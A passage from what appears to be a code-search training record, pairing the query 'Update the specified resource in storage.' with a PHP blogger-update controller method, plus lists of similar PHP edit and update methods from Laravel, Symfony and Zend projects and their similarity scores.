"public function edit($id)\n {\n return $this->showForm($id);\n }",
"public function edit($id)\n {\n return $this->showForm($id);\n }",
"protected function _edit(){\n\t\treturn $this->_editForm();\n\t}",
"public function editAction()\n {\n $robot = Robots::findFirst($this->session->get(\"robot-id\"));\n if ($this->request->isGet()) {\n $this->tag->prependTitle(\"Редактировать робота :: \");\n $user = $this->session->get(\"auth-id\");\n if (!$robot) {\n $this->flashSession->error(\n \"Робот не найден\"\n );\n return $this->response->redirect(\"users/usershow/$user->name\");\n }\n\n }\n\n $this->view->form = new RobotForm(\n $robot,\n [\n \"edit\" => true,\n ]\n );\n }",
"public function editAction()\n {\n $form = new $this->form();\n\n $request = $this->getRequest();\n $param = $this->params()->fromRoute('id', 0);\n\n $repository = $this->getEm()->getRepository($this->entity);\n $entity = $repository->find($param);\n\n if ($entity) {\n\n $form->setData($entity->toArray());\n\n if ( $request->isPost() ) {\n\n $form->setData($request->getPost());\n\n if ( $form->isValid() ) {\n\n $service = $this->getServiceLocator()->get($this->service);\n $service->update($request->getPost()->toArray());\n\n return $this->redirect()->toRoute($this->route, array('controller' => $this->controller));\n }\n }\n } else {\n return $this->redirect()->toRoute($this->route, array('controller' => $this->controller));\n }\n\n return new ViewModel(array('form' => $form, 'id' => $param));\n\n }",
"public function edit($id)\n\t{\n\t\t$SysApplication = \\Javan\\Dynaflow\\Domain\\Model\\SysApplication::find($id);\n\t\t$form = \\FormBuilder::create('Javan\\Dynaflow\\FormBuilder\\SysApplicationForm', [\n \t'method' => 'POST',\n \t'url' => 'sysapplication/update/'.$id,\n \t'model' => $SysApplication,\n \t'data' => [ 'flow_id' => $SysApplication->flow_id]\n \t]);\n\t\treturn View::make('dynaflow::sysapplication.form', compact('form', 'SysApplication'));\n\t}",
"public function editAction() {\n\t\t$id = (int) $this->_getParam('id');\n\t\t$modelName = $this->_getParam('model');\n\t\t\n\t\t$model = Marcel_Backoffice_Model::factory($modelName);\n\t\t$item = $model->find($id)->current();\n\t\tif (!$item) {\n\t\t\t$item = $model->createRow();\n\t\t}\n\t\t$form = $item->getForm();\n\t\tif ($this->_request->isPost()) {\n\t\t\t$newId = $form->populate($this->_request->getPost())->save();\n\t\t\tif ($newId) {\n\t\t\t\t$this->_helper->flashMessenger('Saved successfully!');\n\t\t\t\t$this->_helper->redirector('edit', null, null, array('id' => $newId, 'model' => $modelName));\n\t\t\t}\n\t\t}\n\t\t$this->view->form = $form;\n\t\t$this->view->messages = $this->_helper->flashMessenger->getMessages();\n\t}",
"public function edit($id)\n {\n return view('models::edit');\n }",
"public function edit()\n {\n return view('home::edit');\n }",
"public function editAction()\n {\n $id = $this->params()->fromRoute('id');\n $entity = $this->entityManager->find(Entity\\CourtClosing::class, $id);\n if (! $entity) {\n // to do: deal with it\n }\n $form = $this->getForm('update');\n $form->bind($entity);\n if ($this->getRequest()->isPost()) {\n return $this->post();\n }\n\n return new ViewModel(['form' => $form]);\n }",
"public function editAction($id)\n {\n $entity = $this->getManager()->find($id);\n\n $breadcrumbs = $this->get(\"white_october_breadcrumbs\");\n $breadcrumbs->addItem('Inicio', $this->get('router')->generate('admin.homepage'));\n $breadcrumbs->addItem($this->entityDescription, $this->get(\"router\")->generate(\"admin.$this->entityName.index\"));\n $breadcrumbs->addItem('Editar');\n\n if (!$entity) {\n throw $this->createNotFoundException('No se ha encontrado el elemento');\n }\n\n $form = $this->getForm($entity);\n\n return $this->render('AdminBundle:Default:edit.html.twig', array(\n 'entity' => $entity,\n 'form' => $form->createView(),\n 'metadata' => $this->getMetadata()\n ));\n }",
"public function edit()\n {\n return view('user::edit');\n }",
"public function edit()\n {\n return view('user::edit');\n }",
"public function edit(Form $form)\n {\n return view('admin.forms.edit', compact('form'));\n }",
"public function editAction()\n {\n $form = MediaForm::create($this->get('form.context'), 'media');\n $media = $this->get('media_manager.manager')->findOneById($this->get('request')->get('media_id'));\n \n $form->bind($this->get('request'), $media);\n \n return $this->render('MediaManagerBundle:Admin:form.html.twig', array('form' => $form, 'media' => $media));\n }",
"public function editAction($id) {\n $em = $this->getDoctrine()->getManager();\n\n $entity = $em->getRepository('CdlrcodeBundle:Question')->find($id);\n\n if (!$entity) {\n throw $this->createNotFoundException('Unable to find Question entity.');\n }\n\n $editForm = $this->createEditForm($entity);\n $deleteForm = $this->createDeleteForm($id);\n\n return $this->render('CdlrcodeBundle:Question:edit.html.twig', array(\n 'entity' => $entity,\n 'edit_form' => $editForm->createView(),\n 'delete_form' => $deleteForm->createView(),\n ));\n }",
"public function edit($id)\n {\n return view('consultas::edit');\n }",
"public function edit(DirectorFormBuilder $form, $id)\n {\n return $form->render($id);\n }",
"public function edit()\n {\n return view('dashboard::edit');\n }",
"public function edit($id){\n $rfid = Rfid::find($id);\n\n //load form view\n return view('rfids.edit', ['rfid' => $rfid]);\n }",
"public function edit($id)\n {\n\n // retrieve provider\n $provider = Provider::findOrFail($id);\n\n // return form with provider\n return view('backend.providers.form')->with('provider', $provider);\n }",
"public function edit(Question $question)\n {\n $this->employeePermission('application' , 'edit');\n $question->chooses;\n $action = 'edit';\n return view('admin.setting.question_form', compact('action' , 'question'));\n }",
"public function edit() {\n return view('routes::edit');\n }",
"public function edit($id)\n {\n $this->data['product'] = Product::find($id);\n $this->data['category'] = Category::arrForSelect();\n $this->data['title'] = \" Update Prouct Details\";\n $this->data['mode'] = \"edit\";\n\n return view('product.form', $this->data);\n }",
"public function edit(ClueEnFormBuilder $form, $id): Response\n {\n return $form->render($id);\n }",
"public function editAction($id)\n {\n $em = $this->getDoctrine()->getManager();\n\n $entity = $em->getRepository('BaseBundle:Feriado')->find($id);\n\n if (!$entity) {\n throw $this->createNotFoundException('Unable to find Feriado entity.');\n }\n\n $editForm = $this->createEditForm($entity);\n $deleteForm = $this->createDeleteForm($id);\n\n return $this->render('BaseBundle:Feriado:edit.html.twig', array(\n 'entity' => $entity,\n 'edit_form' => $editForm->createView(),\n 'delete_form' => $deleteForm->createView(),\n ));\n }",
"public function edit($id)\n {\n return view('cataloguemodule::edit');\n }",
"public function edit($articulo_id)\n {\n $titulo = \"Editar\";\n return View(\"articulos.formulario\",compact('titulo','articulo_id'));\n }",
"public function edit($id)\n {\n $resources = User::find(session('usuario_id'))->resources;\n $languages = Language::pluck('name', 'id');\n $types = Type::pluck('name', 'id');\n $method = 'PATCH';\n\n $recurso = Resource::find($id);\n $url = \"/resource/$recurso->id\";\n\n return view('resources.resources', compact('resources', 'languages', 'types', 'method', 'url', 'recurso'));\n }",
"public function edit(Question $question)\n {\n $edit = TRUE;\n return view('questionForm', ['question' => $question, 'edit' => $edit]);\n }",
"public function displayEditForm(Employee $employee){\n return view('employee.displayEditForm',['employee'=>$employee]);\n }",
"public function edit()\n {\n return view('website::edit');\n }",
"public function edit()\n {\n return view('inventory::edit');\n }",
"public function edit()\n {\n return view('initializer::edit');\n }",
"public function editAction()\n {\n View::renderTemplate('Profile/edit.html', [\n 'user' => $this->user\n ]);\n }",
"public function edit($id)\n {\n return view('backend::edit');\n }",
"public function edit($id)\n {\n //dd($id);\n $familiaPrograma= FamiliaPrograma::findOrFail($id);\n return view('familiasPrograma.edit', compact('familiaPrograma'));\n }",
"public function edit($id)\n {\n return view('crm::edit');\n }",
"public function edit($id)\n {\n return view('crm::edit');\n }",
"public function edit($id)\n {\n $user = User::where('id', $id)->first();\n\n\n return view('users.forms.update', compact('user'));\n }",
"public function editAction($id)\n\t{\n\t\t$school = School::find( $id );\n\t\t$this->render( View::make( 'schools/form' , array(\n\t\t\t'title' => sprintf( 'Modifier \"%s\"', $school->name ),\n\t\t\t'entity' => $school\n\t\t) ) );\n\t}",
"public function edit(Question $question)\n {\n $edit = TRUE;\n return view('questionForm', ['question' => $question, 'edit' => $edit ]);\n }",
"public function edit(Person $person) {\n\t\t$viewModel = new PersonFormViewModel();\n\t\treturn view('person.form', $viewModel);\n\t}",
"public function edit($id)\n {\n \t$product = Product::find($id);\n \treturn view('admin.products.edit')->with(compact('product')); // formulario de actualizacion de datos del producto\n }",
"public function edit_person($person_id){\n \t$person = Person::find($person_id);\n \treturn view('resource_detail._basic_info.edit',compact('person'));\n }",
"public function edit($id)\n {\n $professor = $this->repository->find($id);\n return view('admin.professores.edit',compact('professor'));\n }",
"public function edit($id)\n {\n $data = Restful::find($id);\n return view('restful.edit', compact('data'));\n }",
"public function editAction($id)\n {\n $em = $this->getDoctrine()->getManager();\n\n $entity = $em->getRepository('MedecinIBundle:Fichepatient')->find($id);\n\n if (!$entity) {\n throw $this->createNotFoundException('Unable to find Fichepatient entity.');\n }\n\n $editForm = $this->createEditForm($entity);\n $deleteForm = $this->createDeleteForm($id);\n\n return $this->render('MedecinIBundle:Fichepatient:edit.html.twig', array(\n 'entity' => $entity,\n 'edit_form' => $editForm->createView(),\n 'delete_form' => $deleteForm->createView(),\n ));\n }",
"public function edit($id)\n {\n return $this->form->render('mconsole::personal.form', [\n 'item' => $this->person->query()->with('uploads')->findOrFail($id),\n ]);\n }",
"public function edit($id)\n\t{\n\t\t // get the project\n $project = Project::find($id);\n\n // show the edit form and pass the project\n return View::make('logicViews.projects.edit')->with('project', $project);\n\t}"
] | [
"0.78550774",
"0.7692893",
"0.7273195",
"0.7242132",
"0.7170847",
"0.70622855",
"0.7053459",
"0.6982539",
"0.69467914",
"0.6945275",
"0.6941114",
"0.6928077",
"0.69019294",
"0.68976134",
"0.68976134",
"0.6877213",
"0.68636996",
"0.68592185",
"0.68566656",
"0.6844697",
"0.68336326",
"0.6811471",
"0.68060875",
"0.68047357",
"0.68018645",
"0.6795623",
"0.6791791",
"0.6791791",
"0.6787701",
"0.67837197",
"0.67791027",
"0.677645",
"0.6768301",
"0.6760122",
"0.67458534",
"0.67458534",
"0.67443407",
"0.67425704",
"0.6739898",
"0.6735328",
"0.6725465",
"0.6712817",
"0.6693891",
"0.6692419",
"0.6688581",
"0.66879624",
"0.6687282",
"0.6684741",
"0.6682786",
"0.6668777",
"0.6668427",
"0.6665287",
"0.6665287",
"0.66610634",
"0.6660843",
"0.66589665",
"0.66567147",
"0.66545695",
"0.66527975",
"0.6642529",
"0.6633056",
"0.6630304",
"0.6627662",
"0.6627662",
"0.66192114",
"0.6619003",
"0.66153085",
"0.6614968",
"0.6609744",
"0.66086483",
"0.66060555",
"0.6596137",
"0.65950733",
"0.6594648",
"0.65902114",
"0.6589043",
"0.6587102",
"0.65799844",
"0.65799403",
"0.65799177",
"0.657708",
"0.65760696",
"0.65739626",
"0.656931",
"0.6567826",
"0.65663105",
"0.65660435",
"0.65615267",
"0.6561447",
"0.6561447",
"0.65576506",
"0.655686",
"0.6556527",
"0.6555543",
"0.6555445",
"0.65552044",
"0.65543956",
"0.65543705",
"0.6548264",
"0.65475875",
"0.65447706"
] | 0.0 | -1 |
Update the specified resource in storage. | public function update(Request $request, Blogger $blogger)
{
if((auth()->user()->hasPermissionTo('blogger_edit') != true))
return $this->permission_denied('blogger_dashboard');
$blogger->fill($request->all())->save();
$status = $blogger->save() ? array(
'msg' => "Blogger has been updated successfully!",
'toastr' => "successToastr") : array(
'msg' => "Some Error occured. Try again.",
'toastr' => "errorToastr");
Session::flash($status['toastr'], $status['msg']);
return redirect()->route('bloggers');
} | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"public function updateShopifyResource() {\n $this->saving();\n $this->getShopifyApi()->call([\n 'URL' => API::PREFIX . $this->getApiPathSingleResource(),\n 'METHOD' => 'PUT',\n 'DATA' => [\n static::getResourceSingularName() => $this->shopifyData\n ]\n ]);\n }",
"public function update(Request $request, Resource $resource)\n {\n $request->validate([\n 'name' => 'required',\n 'description' => 'required|string',\n 'file' => 'required|mimes:jpg,jpeg,png,doc,docx,pdf,ppt,txt',\n ]);\n\n $resource->update($request->all());\n\n if ( $request->hasFile('file') ) {\n $resource = 'resource-'.time().'.'.$request->file('file')->extension();\n $request->file->storeAs('resources', $resource,'public');\n $resource->file = $resource;\n }\n\n if ( $resource->save() ) {\n return redirect()->route('admin.resources.index')->with('success', 'Resource updated');\n } else {\n return redirect()->route('admin.resources.index')->with('error', 'Something went wrong');\n }\n }",
"public function update(Request $request, Resource $resource)\n {\n //\n }",
"public function updateStream($resource);",
"public function update(Request $request, Storage $storage)\n {\n $storage->product_id = $request->product_id;\n $storage->amount = $request->amount;\n\n $storage->save();\n\n return redirect()->route('storages.index');\n }",
"protected function updateImageResource($fileName, $imageId, $storage)\n {\n //Get image name and storage location for image\n $image = Image::where('id', '=', $imageId)->first();\n\n //Delete old image\n $this->deleteResource($image->name, $image->storage);\n\n //Store the new image\n $image->name = $fileName;\n $image->storage = $storage;\n\n $image->save();\n }",
"public function update(Storage $storage, UpdateStorageRequest $request)\n {\n $this->storage->update($storage, $request->all());\n\n return redirect()->route('admin.product.storage.index')\n ->withSuccess(trans('core::core.messages.resource updated', ['name' => trans('product::storages.title.storages')]));\n }",
"public function update(StoreStorage $request, Storage $storage)\n {\n $storage->fill($request->all())->save();\n $request->session()->flash('alert-success', 'Запись успешно обновлена!');\n return redirect()->route('storage.index');\n }",
"public function update_asset($id, Request $request){\n \t\tif(!Auth::user()){\n\t\t\treturn redirect('/');\n\t\t}\n \t\t$asset = Storage::find($id);\n \t\t$asset->name = $request->name;\n \t\t$asset->quantity = $request->quantity;\n \t\t$asset->category_id = $request->category;\n \t\tif($request->file('image') != null){\n\t\t\t$image = $request->file('image');\n\t\t\t$image_name = time(). \".\" . $image->getClientOriginalExtension();\n\t\t\t$destination = \"images/\";\n\t\t\t$image->move($destination, $image_name);\n\t\t\t$asset->image_url = $destination.$image_name;\n\t\t} \n\t\t$asset->save();\n\t\tsession()->flash('success_message', 'Item Updated successfully');\n\t\treturn redirect(\"/storage\");\n \t}",
"public function update(Request $request, Flight $exercise, FlightResource $resource)\n {\n $request->validate([\n 'display_name' => 'required|string|max:100',\n 'file' => 'nullable|file|max:10240|mimes:pdf',\n 'uri' => 'nullable|url|max:255',\n ]);\n\n if ($resource->type === 'file' && $request->file('file')) {\n Storage::drive('public')->delete($resource->resource);\n $resource->resource = $request->file('file')->store('smartcars/exercises/resources', ['disk' => 'public']);\n } elseif ($resource->type === 'uri' && $request->input('uri')) {\n $resource->resource = $request->input('uri');\n }\n\n $resource->save();\n\n return redirect()->route('adm.smartcars.exercises.resources.index', $exercise)\n ->with('success', 'Resource edited successfully.');\n }",
"public function update(Request $request, $id)\n {\n $validator = Validator::make($request->all(), [\n 'title' => 'required|string',\n 'content' => 'required|string',\n 'mentoring_area_id' => 'required|integer',\n 'featured_image_uri' => 'string',\n ]);\n\n if ($validator->fails()) {\n return APIHandler::response(0, $validator->errors(), 400);\n }\n \n $resource = Resource::find($id);\n $resource->title = $request->get('title');\n $resource->content = $request->get('content');\n $resource->featured_image_uri = $request->get('featured_image_uri');\n $resource->updated_at = \\Carbon\\Carbon::now();\n $resource->mentoring_area_id = $request->get('mentoring_area_id');\n $resource->save();\n $data['resource'] = $resource;\n return APIHandler::response(1, \"Resource has been updated\");\n }",
"protected function updateVideoResource($fileName, $videoId, $storage, $premium=1)\n {\n //Get video name and storage location for video\n $video = Video::where('id', '=', $videoId)->first();\n\n //Check the storage medium\n if($storage == 'vimeo' || $storage == 'youtube')\n {\n $video->name = $fileName;\n $video->storage = $storage;\n $video->premium = $premium;\n $video->save();\n }\n else\n {\n if($video['storage'] == 'local' || $video['storage'] == 's3')\n {\n //Delete old video\n $this->deleteResource($video->name, $video->storage);\n }\n \n //Store the new video\n $video->name = $fileName;\n $video->storage = $storage;\n $video->premium = $premium;\n $video->save();\n }\n }",
"public function put($resource, $with=[]){\n return $this->fetch($resource, self::PUT, $with);\n }",
"public function update($id, $resource) {\n SCA::$logger->log(\"update resource\");\n return $this->orders_service->update($id, $resource);\n }",
"public function update($path);",
"public function update($id, $resource)\n {\n SCA::$logger->log(\"Entering update()\");\n //check whether it is an sdo or an xml string.\n if ($resource instanceof SDO_DataObjectImpl) {\n //if the thing received is an sdo convert it to xml\n if ($this->xml_das !== null) {\n $xml = SCA_Helper::sdoToXml($this->xml_das, $resource);\n } else {\n throw new SCA_RuntimeException(\n 'Trying to update a resource with SDO but ' .\n 'no types specified for reference'\n );\n }\n } else {\n $xml = $resource;\n }\n\n $slash_if_needed = ('/' === $this->target_url[strlen($this->target_url)-1])?'':'/';\n\n $handle = curl_init($this->target_url.$slash_if_needed.\"$id\");\n curl_setopt($handle, CURLOPT_HEADER, false);\n curl_setopt($handle, CURLOPT_RETURNTRANSFER, true);\n curl_setopt($handle, CURLOPT_CUSTOMREQUEST, \"PUT\");\n curl_setopt($handle, CURLOPT_POSTFIELDS, $xml);\n\n //replace with Content-Type: atom whatever\n $headers = array(\"User-Agent: SCA\",\n \"Content-Type: text/xml;\",\n \"Accept: text/plain\");\n curl_setopt($handle, CURLOPT_HTTPHEADER, $headers);\n\n $result = curl_exec($handle);\n\n $response_http_code = curl_getinfo($handle, CURLINFO_HTTP_CODE);\n\n curl_close($handle);\n\n $response_exception = $this->buildResponseException($response_http_code, '200');\n\n if ($response_exception != null) {\n throw $response_exception;\n } else {\n //update does not return anything in the body\n return true;\n }\n }",
"public function update(Request $request, $id)\n {\n $this->validate($request, [\n 'name' => 'required',\n 'link' => 'required',\n 'description' => 'required'\n ]);\n\n $resource = Resource::find($id);\n $resource->name = $request->name;\n $resource->type_id = $request->type_id;\n $resource->has_cost = ($request->has('has_cost')) ? 1 : 0;\n $resource->language_id = $request->language_id;\n $resource->link = $request->link;\n $resource->description = $request->description;\n $resource->tags = '';\n\n $resource->save();\n //return back()->with('success', 'Recurso actualizado satisfactoriamente');\n return redirect('/resource')->with('success', 'Recurso actualizado satisfactoriamente');\n }",
"public function update(Request $request, $id)\n {\n $oldProduct = Product::findOrFail($id);\n $data = $request->all();\n if(isset($data['img'])){\n // $file = $request->file('photo');\n // return $file;\n $imgName = time().'.'.$request->img->extension();\n $data['img'] = $imgName;\n // Storage::putFile('spares', $file);\n $path = $request->img->storeAs('public/uploads', $imgName); //in Storage\n\n //delete old file\n if($oldProduct->img != 'product-default.png'){\n Storage::delete(\"public/uploads/\".$oldProduct->img);\n // return 'deleted';\n }\n \n }else{\n $data['img'] = $oldProduct->img;\n }\n $oldProduct->update($data);\n return redirect()->route('product.index'); \n\n }",
"public function update($request, $id) {\n\t\t\t$image = $request['photo'];\n\t\t\tif($image !== null) {\n\t\t\t\t$name = time().'.' . explode('/', explode(':', substr($image, 0, strpos($image, ';')))[1])[1];\n\t\t\t\t\\Image::make($request['photo'])->save(public_path('storage/products/').$name);\n\t\t\t\t$request['photo'] = $name;\n\t\t\t} else {\n\t\t\t\t$currenPhoto = Product::all()->where('id', $id)->first();\n\t\t\t\t$request['photo'] = $currenPhoto->photo;\n\t\t\t}\n return $this->product->update($id, $request);\n\t}",
"public function updateStream($path, $resource, Config $config)\n {\n }",
"public function edit(Resource $resource)\n {\n //\n }",
"public function updateResourceIndex(&$resource) {\n if ($this->connector != null) {\n\n // STEP 1: Update or insert this resource as a node:\n $this->logger->addDebug(\"Updating/Inserting Node into Neo4J database\");\n $result = $this->connector->run(\"MATCH (a:Resource {id: {id} }) SET a.title = {title}, a.version = {version}, a.href = {href}\n return a;\",\n [\n 'id' => $resource->getID(),\n 'version' => $resource->getVersion(),\n 'title' => $resource->getTitle(),\n 'href' => $resource->getLink()\n ]\n );\n\n // Check to see if anything was added\n $records = $result->getRecords();\n if (empty($records)) {\n // Must create this record instead\n $result = $this->connector->run(\"CREATE (n:Resource) SET n += {infos};\",\n [\n \"infos\" => [\n 'id' => $resource->getID(),\n 'version' => $resource->getVersion(),\n 'title' => $resource->getTitle(),\n 'href' => $resource->getLink()\n ]\n ]\n );\n }\n\n // STEP 2: Update or insert the resource's link to holding repository\n $result = $this->connector->run(\"MATCH (a:Resource {id: {id} })-[r:HIRELATION]->()\n return r;\",\n [\n 'id' => $resource->getID(),\n ]\n );\n $records = $result->getRecords();\n if (!empty($records)) {\n // delete the one there so that we can add the correct one (just in case)\n $result = $this->connector->run(\"MATCH (a:Resource {id: {id}})-[r:HIRELATION]->() delete r;\",\n [\n 'id' => $resource->getID()\n ]\n );\n\n }\n\n // If resource has a repository, then add a link\n if ($resource->getRepository() != null && $resource->getRepository()->getID() != null) {\n $this->connector->run(\"MATCH (a:Identity {id: {id1} }) MATCH (b:Resource {id: {id2} }) CREATE (b)-[r:HIRELATION]->(a);\",\n [\n 'id1' => (string) $resource->getRepository()->getID(),\n 'id2' => $resource->getID()\n ]);\n }\n }\n }",
"public function update($data) {}",
"public function update($data) {}",
"public function putStream($resource);",
"public function update(Request $request, NebulaResource $resource, $item): RedirectResponse\n {\n $this->authorize('update', $item);\n\n $validated = $request->validate($resource->rules(\n $resource->editFields()\n ));\n\n $resource->updateQuery($item, $validated);\n\n $this->toast(__(':Resource updated', [\n 'resource' => $resource->singularName(),\n ]));\n\n return redirect()->back();\n }",
"public function saveShopifyResource() {\n if (is_null($this->getShopifyId())) { // if there is no id...\n $this->createShopifyResource(); // create a new resource\n } else { // if there is an id...\n $this->updateShopifyResource(); // update the resource\n }\n }",
"public function update($entity);",
"public function update($entity);",
"public function setResource($resource);",
"public function updateStream($path, $resource, Config $config)\n {\n return $this->upload($path, $resource, $config);\n }",
"public function isUpdateResource();",
"public function update(Request $request, $id)\n {\n $device = Device::findOrFail($id);\n $device->fill($request->all());\n if ($request->hasFile('icon')) {\n if ($device->hasMedia('icon')) {\n $device->deleteMedia($device->getFirstMedia('icon'));\n }\n $device->addMediaFromRequest('icon')->toMediaCollection('icon');\n }\n $device->save();\n return new DeviceResource($device);\n }",
"public function update(Request $request, $id)\n {\n //\n $product = Product::findOrFail($id);\n \n $product->update($request->all());\n \n $file = $request->file('url_image')->move('upload', $request->file('url_image')->getClientOriginalName());\n\n Product::where('id',$id)->update(['url_image'=>$file]);\n \n \\Session::flash('flash_message', 'Edit product successfully.'); \n \n //cũ : return redirect('articles');\n return redirect()->route('products.index');\n }",
"public function store($data, Resource $resource);",
"public function update(Request $request, $id)\n {\n \n $product = Product::find($id);\n\n\n $product->fill($request->all())->save();\n\n //Verificamos que tenemos una imagen\n if($request->file('photo_1')){\n\n\n //En caso de tenerla la guardamos en la clase Storage en la carpeta public en la carpeta image.\n $path = Storage::disk('public')->put('photo_1',$request->file('photo_1'));\n\n //Actualizamos el Post que acabamos de crear\n $product->fill(['photo_1' => asset($path)])->save();\n\n }\n\n\n return redirect()->route('products.index')->with('info', 'Producto actualizado exitosamente!');\n }",
"public function update(Request $request, $id)\n {\n $product = Product::find($id);\n\n if (\\Input::hasFile('image')) {\n $this->imgsave($request, $product);\n }\n\n\n if (!empty($request->input('tags'))) {\n $product->tags()->sync($request->input('tags'));\n } else {\n $product->tags()->detach();\n }\n\n $product->update($request->all());\n\n return redirect()->to('dashboard/product')->with('message', 'update success');\n }",
"public function put($resource_path, array $variables = array()) {\n return $this->call($resource_path, $variables, 'PUT');\n }",
"public function update($id)\n {\n /* Check if logged in user is authorized to make this request */\n $this->authorizeAction();\n\n if (method_exists($this, 'updateValidations')) {\n $this->request->validate($this->updateValidations());\n }\n\n /* Get the specified resource */\n $resource = $this->model::findOrFail($id);\n\n /* Update the specified resource */\n $resource->update(Input::all());\n\n /* Redirect back */\n return redirect()->back()\n ->with(\n 'info',\n Lang::has($this->name . '.resource-updated') ?\n $this->name . '.resource-updated' :\n 'messages.alert.resource-updated'\n );\n }",
"public function putResponse($request)\n {\n $idSearched = $this->searcher->searchResourceIndex(\n $request, \n $this->db[$request['resource']]\n );\n if ($idSearched) {\n $resource = $this->db[$request['resource']][$idSearched];\n $bodyInput = json_decode($this->standardInput, true);\n $resource = BodyRequest::canApplyBody($bodyInput);\n $resource['id'] = (int)$request['param'];\n foreach($resource as $key => $value) {\n $this->db[$request['resource']][$idSearched][$key] = $value;\n }\n file_put_contents(DB_PATH, json_encode($this->db));\n }\n }",
"public function update(Storedataset $request, dataset $dataset){\n $dataset->title = $request->input('title');\n $dataset->caption = $request->input('caption');\n $dataset->file_url = $request->input('file_url');\n $dataset->type = $request->input('type');\n $dataset->status = $request->input('status');\n $dataset->publication_id = $request->input('publication_id');\n\n $dataset->save();\n\n return redirect()->route('datasets.show', ['dataset' => $dataset]);\n }",
"public function update(Request $request, $id)\n\n {\n ResourceManagement::findOrFail($id);\n $constraints = [\n 'title' => 'required|max:100',\n 'url'=> 'required|max:191',\n 'content' => 'required'\n ];\n\n $input = [\n 'title' => $request['title'],\n 'url' => $request['url'],\n 'content' => $request['content'],\n 'type' => $request['type'],\n 'level' => $request['level'],\n 'user_id' => $request['user']\n ];\n// $this->validate($input, $constraints);\n ResourceManagement::where('id', $id)\n ->update($input);\n\n return redirect()->intended('/resource-management');\n }",
"public function update(Request $request, $id)\n {\n $this->validate($request, [\n 'title' => 'required',\n 'description' => 'required|string',\n 'price' => 'required|numeric',\n 'reference'=>'required'\n ]);\n \n $product = Product::find($id);\n $product->update($request->all());\n \n $im = $request->file('picture');\n \n if (!empty($im)) {\n \n $link = $request->file('picture')->store('images');\n \n \n $product->update([\n 'url_image' => $link,\n ]);\n } \n //dump($request->all());\n return redirect()->route('product.index')->with('message', 'Article modifié avec succès');\n }",
"public function update(StoreOrUpdateAsset $request, Asset $asset)\n {\n if (Storage::exists($asset->path) && !Storage::delete($asset->path)) {\n abort(500);\n }\n\n $file = $request->file('file');\n $path = $file->store('assets');\n\n if (!$path) {\n abort(500);\n }\n\n // We wonder if we should delete the old file or not...\n\n $asset->name = $file->getClientOriginalName();\n $asset->size = $file->getSize();\n $asset->type = $file->getMimeType();\n $asset->path = $path;\n\n if ($asset->save()) {\n flash('The asset has been saved.')->success();\n } else {\n abort(500);\n }\n\n return redirect('/admin/assets');\n }",
"public function update(FoodRecipeRequest $request, $id)\n {\n $foodRecipe = FoodRecipe::with('ingredients','cookingProcesses')->findOrFail($id);\n if ($request->input('name')!= null)\n $foodRecipe->name = $request->input('name');\n if ($request->input('detail')!= null)\n $foodRecipe->detail = $request->input('detail');\n if($request->file('photo') != null) {\n $old_file = $foodRecipe->photo;\n if($old_file != null){\n $path = public_path().'/storage/'.$old_file;\n File::delete($path);\n }\n $file = $request->file('photo');\n $name = '/foodRecipe/' . Carbon::now()->format(\"dnY-Hisu\") . \".\" . $file->extension();\n $file->storePubliclyAs('public', $name);\n $foodRecipe->photo = $name;\n }\n $foodRecipe->save();\n return new FoodRecipeResource($foodRecipe);\n }",
"public function update(StorageTypeRequest $request, $id)\n {\n try {\n $this->service->updateStorageType($request, $id);\n return $this->NoContent();\n } catch (EntityNotFoundException $e) {\n \\Log::error($e->getMessage());\n return $this->NotFound($e->getMessage());\n } catch(\\QueryException $e) {\n \\Log::error($e->getMessage());\n return $this->ServerError();\n } catch(Exception $e) {\n \\Log::error($e->getMessage());\n return $this->ServerError();\n }\n }",
"public function update(Request $request, $id)\n {\n //validation\n $this->validate(request(),[\n 'image' => 'image'\n ]);\n\n $slider = HomeSliders::find($id);\n \n $slider->link = request('link');\n\n //get old image to delete if updated\n $oldImage = request('oldImage');\n //get the new image\n $NewImage=$request->file('image');\n\n if($NewImage)\n {\n $filenameToStore= helpers::updatePhoto('image','homeSliders',$request);\n $slider->image=$filenameToStore;\n\n Storage::delete('public/Images/homeSliders/'.$oldImage);\n }\n\n $slider->save();\n\n Alert::success(config('app.name'), trans('messages.Updated Successfully') );\n return redirect()->route('admin.homeSlider',$slider->type);\n }",
"public function update(Qstore $request, $id)\n {\n //\n }",
"public function update(IEntity $entity);",
"protected function performUpdate(): bool\n {\n // Abort if resource does not support update operations\n if (!$this->isUpdatable()) {\n throw new UnsupportedOperation(sprintf('API does not support update operation for %s resources', $this->resourceNameSingular()));\n }\n\n $id = $this->id();\n $prepared = $this->prepareBeforeUpdate($this->toArray());\n\n $payload = [\n $this->resourceNameSingular() => $prepared\n ];\n\n $response = $this\n ->request()\n ->put($this->endpoint($id), $payload);\n\n // Extract and (re)populate resource (if possible)\n // Note: Unlike the \"create\" method, Redmine does NOT\n // appear to send back a full resource when it has been\n // successfully updated.\n $this->fill(\n $this->decodeSingle($response)\n );\n\n return true;\n }",
"public function update($request, $id);",
"function put($resource, $data = null) {\r\n\t\t\r\n\t\tif(isset($data)) {\r\n\t\t\t$this->request_body = $data;\r\n\t\t}\r\n\r\n\t\t// make the call chief\r\n\t\t$this->exec ( \"PUT\", '/' . $resource );\r\n\r\n\t\t// check the request status\r\n\t\tif($this->status_code != 200){\r\n\t\t\t$this->Logger->error(\r\n\t\t\t\tsprintf(\r\n\t\t\t\t\t'GET Call for resource \\'%s\\' Failed.\r\n\t\t\t\t\tStatus: %d,\r\n\t\t\t\t\tRequest: %s\r\n\t\t\t\t\tAPI Error Message: \r\n\t\t\t\t\t%s',\r\n\t\t\t\t\t$resource,\r\n\t\t\t\t\t$this->status_code,\r\n\t\t\t\t\t$this->request_body_raw,\r\n\t\t\t\t\t$this->response_body\r\n\t\t\t\t)\r\n\t\t\t);\r\n\t\t\tthrow new Exception($this->response_body);\r\n\t\t} else {\r\n\t\t\treturn $this->response_parsed;\r\n\t\t}\r\n\t}",
"public function updateEntities($resource)\n {\n $json = [\n 'resource' => $resource,\n ];\n $request = $this->createRequest('PUT', '/entities', ['json' => $json]);\n $response = $this->send($request);\n return $response;\n }",
"public function updateStream($path, $resource, Config $config)\n {\n return $this->writeStream($path, $resource, $config);\n }",
